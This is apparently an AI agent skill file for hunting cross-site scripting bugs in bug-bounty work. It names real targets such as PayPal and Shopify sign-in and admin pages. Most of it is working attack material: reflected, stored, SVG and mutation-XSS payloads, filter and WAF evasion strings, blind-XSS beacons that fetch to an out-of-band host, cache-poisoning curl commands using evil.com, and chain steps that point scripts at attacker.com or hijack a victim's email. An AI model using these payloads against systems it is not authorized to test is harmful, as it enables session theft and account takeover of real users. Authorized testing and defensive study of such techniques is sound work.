hunt-xss— agent skill

Crown Jewel Targets

XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:

• Admin panels and authenticated dashboards (e.g., */admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
• Payment/financial flows (paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
• Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
• SSO/signin pages (e.g., paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform
• Shared SaaS tenant surfaces (*.myshopify.com, api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries
• Help/documentation sites (help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception
• SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously

Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites

OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).

What is NOT confirmation

• ASP.NET request validator rejected your < and returned a different status code → not XSS, that's WAF noise.
• Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
• The form action attribute contains your payload string as %22onclick%3D… → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the %22 stays as literal %22 in the DOM.
• Your <script> tag appears in the response as <script> → not XSS, that's escaping.

What IS confirmation

• A request to your unique Collaborator subdomain (e.g., bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued.
• For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
• The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.

Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:

• Error messages (?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
• Auth-flow source params (?Source=, ?ReturnUrl=)
• Login form username field (admin may view audit logs of failed logins)
• User-Agent header (some SOC consoles render UA as HTML)
• Referer header (some analytics dashboards render Referer as HTML)
• Email addresses on registration / contact forms
• File-upload filenames

Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.

Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.

Attack Surface Signals

URL Patterns:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

Response Headers (weak defense signals):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

JS Patterns in source that signal DOM XSS:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

Tech Stack Signals:

• Rails applications using html_safe, raw, translate, Action Text, or ActionView sanitize helpers
• GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
• Applications allowing SVG uploads or rendering
• Sites using style tag in allowlists
• Kroki/Mermaid/PlantUML diagram rendering endpoints
• Cache layers in front of authenticated pages (cache poisoning vector)

Step-by-Step Hunting Methodology

1. Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.

1. Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.

1. Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.

1. Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.

1. Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

1. Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.

1. Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.

1. Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.

1. Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.

1. Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.

1. Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.

1. Validate in target browser — Always confirm in a real browser before reporting. Many payloads work in Burp but not in Chrome due to XSS auditors or browser parsing differences.

Payload & Detection Patterns

Basic context probing:

aaa"bbb'ccc<ddd>eee`fff

Reflected XSS — URL parameter baseline:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)

Attribute context escapes:

" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)

SVG-based (CSP bypass):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Sanitizer bypass — math+style combo:

<math><style><img src=x onerror=alert(1)></style></math>

Sanitizer bypass — svg+style combo:

<svg><style><img src=x onerror=alert(1)></style></svg>

Markdown/RDoc javascript: link:

[Click me](javascript:alert(document.domain))

Kroki/diagram injection:

plantuml @startuml :<script>alert(1)</script>; @enduml

DOM XSS via hash/search:

// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'

Grep patterns for source review:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

Curl to detect reflection:

curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"

Cache poisoning test:

# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"

Common Root Causes

1. Trusting `html_safe` in Rails — Developers mark strings as safe after partial sanitization, or chain .html_safe on user-supplied data without full sanitization.

1. Allowlist sanitizers with dangerous tag combinations — Allowing style alongside math or svg creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.

1. Third-party rendering pipelines — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram/rendering engines aren't sandboxed and output isn't re-sanitized.

1. Reflecting URL parameters without encoding — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing/help pages that are treated as lower-security.

1. SVG treated as non-script content — Developers apply CSP to HTML responses but forget that image/svg+xml responses can execute JavaScript and often aren't covered by the same CSP header.

1. Incomplete sanitizer patches — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).

1. `javascript:` scheme not blocked in href/src — Link renderers (RDoc, Markdown) fail to block javascript: URLs in href attributes, treating them as valid external links.

1. Cache layers storing authenticated user input — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.

1. File upload without Content-Type enforcement — Accepting SVG or HTML files and serving them without forcing Content-Disposition: attachment or overriding Content-Type.

1. Translation helper XSS — Rails translate/t() helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.

Bypass Techniques

CSP Bypass:

• SVG uploads bypass script-src because image/svg+xml responses may not inherit the page's CSP
• Find JSONP endpoints on whitelisted domains (*.googleapis.com, *.cloudflare.com)
• Use <base> tag injection to redirect script sources
• Exploit unsafe-eval or unsafe-inline in style-src to execute CSS-based attacks
• <link rel=preload> or <meta http-equiv> gadgets to bypass strict policies

Sanitizer Bypasses:

• mXSS (Mutation XSS): Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., <math><style><img onerror=...>)
• Tag combination attacks: <svg> + <style> or <math> + <style> create parsing ambiguity
• Attribute quoting variations: onmouseover=alert(1) without quotes, backtick delimiters
• HTML entity encoding: javascript: or javascript: in href values
• Protocol variations: javascript:, vbscript:, data:text/html

Filter Evasion:

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

WAF Bypass:

// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

Redirect-based XSS bypass:

?next=javascript://%0aalert(1)
?next=javascript:alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now?

The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies/tokens, perform actions as the victim, or exfiltrate sensitive data. "Alert box appears" is not sufficient — state what the alert box represents in terms of access (e.g., "I can read document.cookie which contains the auth token used for all admin API calls").

1. What does the victim LOSE?

The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what that user's browser is exposed to.

1. Can it be reproduced in 10 minutes from scratch?

You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome/Firefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.

Real Impact Examples

Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page An attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.

Scenario 2 — Stored XSS via Diagram Rendering in Wiki A developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.

Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the style tag allowlist with specific tag nesting (svg>style), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.

Related Skills & Chains

• `hunt-cache-poison` — Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive: X-Forwarded-Host: attacker.com poisons a cached response whose <script src=...> now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.
• `hunt-csrf` — XSS on origin auto-defeats SameSite=Lax and same-origin checks for state-changing endpoints. Chain primitive: stored XSS in profile bio → fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}) executes with victim's cookies and origin → silent email takeover → password reset → full ATO without the victim ever leaving the page.
• `hunt-http-smuggling` — Smuggling delivers an XSS payload into the response queue of the NEXT victim's request, even on endpoints that sanitize their own inputs. Chain primitive: smuggle a request whose response (carrying attacker HTML) is served as the body of the next legitimate user's GET / → reflected XSS at every visitor without any URL parameter visible in their address bar.
• `security-arsenal` — Reach for the XSS payload bank (SVG+style, math+style mXSS, CSP-bypass JSONP gadgets, HTML5 event handlers WAFs miss) before hand-crafting payloads; also the always-rejected list to confirm self-XSS / alert-only PoCs are not submittable.
• `triage-validation` — Run the Pre-Severity Gate before claiming Critical on stored XSS that only fires in the attacker's own session, or before claiming reflected XSS where the canary appears HTML-encoded (<) in the response body — those are the two most common downgrade-to-N/A traps.